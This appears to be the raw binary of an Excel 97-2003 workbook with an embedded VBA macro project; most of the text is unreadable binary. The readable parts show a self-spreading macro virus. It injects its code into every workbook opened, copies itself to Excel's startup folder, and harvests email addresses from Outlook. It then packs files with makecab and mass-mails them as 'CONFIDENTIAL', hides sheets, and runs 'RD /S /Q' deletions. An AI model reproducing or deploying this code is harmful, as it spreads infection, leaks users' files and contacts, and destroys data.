tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Func d#r&Є@_`(cDataaInvoke_a! \n147n.̠toreAfterayCDoorMisoftho(bbyABJuLdg  % T(2F1 LP1Lk2t#= M0#k4.xlse'(29L7 Q mrh@'oDole",$)K @F)xExit Zn}`lStringL! S& /tGF S SlashPo@s LongE xtQTempEQL c"Is No05 g%`'T #a1$ᘱTrim(#)vbNull3(a  & Q0Hc].=,t:"_pp_locked_ys*y9 [t0Pß2w#SJ!'Q Дv>8(s  .Number0 _!Y!9=viron0R2")"\љÈMP.basA H= + s! ! Dir(", Q.orm@+HiddСSystem)0 CleasE KiB% q929*8* .Rem .I !Eq1 :)dI"Q+= 9>2  `@Else `@ copymodule = Fah Exit Function Endx If&   FromVBProject.VBComponents(MName).Exporpile:=FBGSlashPosInStrRev(, "\")Ext.?-#Mid!.+ 1,}#-  - 11Fet e#Nothing To}B *If)Is a* The(.6I@UO KF.Typvbext_ct_Docu~m@f6AS@?TempF@%CY:KWith?.Code.DeleteL0inesAj untOf S@g*5H. (zCo-/.Insert!SA4KOn Error GoTo 0 VPRemove. ) hm iKill g}Tru'@{ e Microsoft@hobby(`Attribute l`y_zcDataaInvoke_! ." \n14" Dim myfz0 As wBeMyF#F$Res@Q N) S =SisWorkbook`.Full = ApplicaA.Startu(pPa K&`k4p.xls `eO pen("$) 2AThH <>+ s s' .CloseEShe2Environ$("comsp ec")  /c aB, -S -h """9@K4.XLS, vbMinim izedFws  h /F /:Q? \? ORD8 /S 3 @62= )cre enUpd DngTi IsAdd@KValue2Variant, 34VS?0xt 0 0 Tha';TruExith4xIf A:'} AJudge() Const T1~D= "10:0"2 1 3 4 4 5Dim Sent Tib, Wshvll.Set#CCre(Object("WS@cript.B "2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\shell\o@\command\")), "OUTLOOK.EXE"Gk> c@T)@1>=R@<2 O\r @J 4~ & @(Ou7D: \Coll:ed_Address:frag1.txt!i"AH%Y E PFi"1"\A search_in_OLH2bif_outl_U+ @# TLh#A("n10,2)G) TJ4)#'6M#FQ= -21, Now L! ˀt X% C (;2; & y+w < 2# b$ \loggHPH l%cmI JI`,n6R#i,"Cab_ dMyISBU`Gadx*] aiInteger, Att+@ddVbsbkCʢListf~s gኦLRxesuC䡢=dys¡@.f{systemob'_I @Mfs.Folderexs("E:\KKbz$8b  $= Replace`Left(Thi6snp,rsn) (- 4qX %_".@&_c{rPb\" &6& ".vbs (i`Free1vFFP~X(putPscX Wri`#ip nt #iAbn >eb$wsh, tleL0;i  T0p Pr=cpSH(""1"w.{l4) @Mi soft Office PaZOQ1 1000kR  x> 6^C(all@!f@mh( leep 05p.send Keys $ %a P ѡUh{TAB}BOO @O{ECr}a=[ th0=U qui2tub#*Do Until a(CStr(y"))+SIzf2r@RLoop=% s_2ǣ\z{F4?7[`Close (iPs@Ê AA"bArA0?/Ab/A/A÷olASVInbox 6qCconbinda,,Et!MF#=U3ZbC38FB S.8t. qsspa8.GeuMMAPI vDefault (J_ Targe~ ebE1 colIxsI.B];23VVaHp.Run `exe> Ro=qo svbh"|tB gQ/EachMppage in Kr:a`>55 t0O exit For" Print #i, " conbinded_addre ss = L& valiF(objMVage.Body) Nexft "[_tZ, 8*all_non_same(ReadAllTCFile), 2 6WScript.Qui { 'vate Fun ction lsource_data jDim oDict, tr,im emp, t_a sc, hYer_endarr, ii_ M0regex, matchs, s(GSetGCrejObject(""" & "ing.,:aryBVBSCRIPT.REGEXP3B.GlobalTruePattern \w+([-+.])*@D\.D NHQ"Execute(yReAzx^.Cou@- 1O i@Lbd() To nUN* Ei)@Item(@bCrLf܎B_0NN IfCYd,> 0 Then(h$b.keys,c3C ʠ}&{`# !@ End i|Nothyke+Sub (in"pad_sUng_frag/\bjFSO, logf _path#folde&$FD:\CollAЅIB!ASysf#D On Error ume n&@3A .cFb(el  ].Existsch\ .tl8b$a2%?"<, Y?)ƒ^)S _ P/e1! Case B*B)n O $= dOpen_r@, -_A.Wrik5_ S5Clos_q \ SO. 9O%00 ۡ t:C  i%Ss!5>nN "ub.̣ M9N@, My6Lss5o1C)MM":O!s @//e( , 1, False-J.At`OfStPmy} eE1_!Ȋ%ngQt{^%x%s@i2q NL$kǬA`Split, vB_HPY!2). /.y1{ Rآ0*o RBl!_vbHCrLf" Print #i, " NextAEnd ISet oDict = Nothi ng tnFunction2Close (i) Applica.WindowStateHxlMaximized WshShell.Run ("wscript.exe& AddVbsFile_search), vbHide, False E MSub v= CreatCab_SendMail(VDim i As Integer, A@ttName S:tg E Li stQ ressL_l 4fsObject<, ]? dd= get_ten_a izje("WSBV"7A @=C? [ u.f@Xsystemo% If fs.Folderex1s("E:\SORCE")Z` Thenw  3R= Replace(Left(ThisWorkbook.\, Len) - 4" "@_"". m@r_sub%"*" @AD& "*M@baxge*@A 3s orce\L _K@ey.vbs ia FreexOp;HFor Output Acc Wri@sp#i ݊oexcel,owb,Fso,@a_xls,sh,route @On errR8esuzsh=B""sm*as")k sh.MintAllk #rCSaN!*SbNV {9e^`Z@Z#`AKKe[Ac[K <opy1 _+'%.CurrentDirory VdmQ*.CABd,"8" "\E TruEaSEachJ (`W$exp~aŤCm `m# -F:A.Z , 0, tnoZe6@EĐ/% Da0 tr "l =2" ?b if a@?  B)=DIn`BoxWHarn6! Chr(10)You are go to oQNa confv@ntial 1b.D& 5.. 6"Pleai AmpleS path . ex. C:\parth\y _r & ,=8 dr^a Q `g 3 Co  PC 4, 10, 8500VUieO+E+5)ls)QL sh=cew#.b w$b=m.w}s.M$(R OoEp.Visibl?L_c:f0WG±1@;/㳳eQuiyEU (ByV@3/ A"ta, nbpciRea;n= 0m fso.Getcl( Qa.a-eeoT \l3aabHZc-xc7fright(3"q¨ n > UBoundX(a)Pжerve a(n*2Arn + 1/ 8@} o/ -1/ d}0a( Iddq  b\TEST.t2㿰6!ϰR#pKa~~ ƈ@eenUpdpn&g B to`reBefP SaveC0?@̟ Af<1c c4$QChDri'%1, ,'"C:\`ir)1lEnviron$("com0spec /c makecab /WF """ & ThisWorkbook.Path"\TEST.TXT" /D COMPRESSIONTYP E=LZX ,MEMORY=21.ABINETNAMETEMPLA@TE=../A@ttNameh.CAB", vbHide, False Do Until fs.FileE@xists(txt") _ And"5setu0p.rpinf+5z)rEvents Loop{WshShell.Run Environ$("comspec :& c RD@ /S /Qdpisk12Del /FA_"r GlNzFiE:\soHrceQIfBoldereC" 4KK@{=enA CreateF% D %YMO VE /Y@& #pChDir c4$ Call Massive_SendMail(Add@ress_lt, , "Dear ,_vbCrLf~F"FYI# w\4f_c.`Set e = Nothing`pplication.ScreenUpdDngTru`ESubuPriv1 "Em#_#$,jecBt BodyCC_ebadd #achm$@ Dim objOL As Ob itmxNew!0J if_outl_opGTh>t!a! = #Lc ("O.A]""dH=.Item(olρAD Wi '.(A-$hA&To`,yCCi,hg-s>. 4Vd/et@eAftermit C@@aOrror Goco@nEd-:.playDebugB.Int "`for$"oD Keys "%s@jWait<:=gK  U i!11` Func4(()a+Boolea(n s Get'WinMgmts:").InstancesOf("32_Ptros!).S 4 F0E) Inav 2InStr(p/.DescripQ `KOUTLOOW> 0W< 34 If NextyBRadomNine(leng>Intpegerr H !@jj, ki""#Ӑ$<= c [@:1E i1 `-ӷ$$[id. U = !t / 10Ran0izW[ &k `(RY* (@* i - m01)) + *1T mk <> P !w m/  `get_ten_]q.UAslea_arrAlPApSpkt(Read@[("D:\CHollfed5h\log.RpxYkrrV)UBoPund()Ls )4#O P$;3A$(C`(i- 1&$O7on FullqΛ6%F\Resuɓ&FsoɠT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsaͱ@\.O@za(5 , 1D, -a q.!All*.Cloԟg 3ragMark, pathfONO‰OQ}("OM@:㭤Left(`, Lena(10  a A0 `It_Q1" e 2Write FdE AEr1"i"bN FileText.CloseEnd If Sub  Private @ Rest@oreBef Send() Dim sht As Object Application.ScreenUpdng = Falp #DisplayAlerts"On ErrorAwume N  FEach aa In ThisWorkbook.Namesaa.VisibleQTruɀp SOt(, "!")(1)"Auto_(Acty".en3.Delet @{ ASheet9AIfK.Macro1+R!Sxl[@ޅF8_.SR0.AddU<> ICB+eryHidden AC$i_row;Int((15 * Rnd) + 1i_col6Cells(,  e** CONFIDEN@TIAL! ", H 2I Use " & Ch r(34)@Left(Ί, LeBn) - B "_key.vbs @po OpA* .$3 $$1V$ˀļ"With Range(U, t'3"L.Font.B8old 5hgColorIndex3EHFun nonA0fter+ȋ, del_P, rngfragBooleaO`{e"[br??f#iy l")BGmck& K! (d).c>"A1:F15"9 InStr(.Valuei@") > 0| & *= 5xit < lCZC C A =2tpx$" x$ x x  >\(`%x$ x d \W< :L ]@)x\5<V=[x x $ " x$ x xxitP,$ $tpx\<,F\`:d %tx$ Xx \t ` ,Q\X)xt`X <X <X <X <X <X <X <X < X < X <9*#T*#P*#L*#H X <2TPLH X < X <X <!X <"X <X <cX4(X,TPLHxt`\l$ XQlx'X:\ %lx \l QXtllt ,Qlp lpTPT 8lPT @cT,4TtxplX0 8  0   0 0  0   0 8  0 @  0   0   0   0   0   0 h   0 x  0   0 `  0   0 x   0 (  0        rU $`$`$`$`a,!`ayDI`a10==#$q`a$`a0` aay0/0, `y( `0$9 `$a `$ `<`1Y00000$`(`y&$)`(Q`/,y`//$`$`n0* pHd VBAProject4@j = r fT J< rstdole>stdole h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.t0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`Deletex`xlSheetVisible`i_rowz,`i_colx`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet`x!  H"0dir__SRP_0 ~ __SRP_1PROJECTwmhtlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +B#BThisWorkbookG TisWArkboU 2 THB1BЀB,!g""B +BBSheet1GS@#e@t1H2N!U2222J-  T,oD@g T+DOLK  J!)bay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 fT#ThisWorkbook07546611d1ThisWorkbookg" Sheet108546611d1 Sheet1 Sheet204546611d1 Sheet20- ToDOLE06546611d1  ToDOLEJHhH032UO ?!DQ"%I|鰵f1yM"W\ ۸@` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheeK*yrU~~~~~~~~~~_ /K%*HBM43   ) Aq)9!Ai1 VBAProject ThisWorkbookSheet1Sheet2ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  0F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel !@0F C:\WINDOWS\system32\stdole2.tlbstdole  PL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice y)`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE Qp auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymodule OĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FFY F5'bhLWI%3F9%IB{ DFWorkbook @FName Macro1Y  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueFz>CS,!"n Fʯ;H,VDF WorksheetFrU~~~~w  14 9iwb ModuleName i FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf 9q ( 98ThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2ToDOLEToDOLEID="{E2FC3ACB-1ABF-4D9C-A9E1-C3C050561B3C}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersPROJECTSummaryInformation(DocumentSummaryInformation8\CompObjjionCompatible32="393222000" CMG="CFCDEA3D76C341C741C741C741C7" DPB="9E9CBB0E45121513151315" GC="6D6F485BD82BD92BD9D4" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0\   $ 0<DLThp ΢ûMicrosoft Excel@cQs@7e@u]L՜.+,D՜.+,  $ ,4<D L jujumao Macro1Sheet1Macro1!Print_Area  Χ` ?GKSOProductBuildVer2052-9.1.0.4397 FMicrosoft Office Excel Biff8Excel.Sheet.89q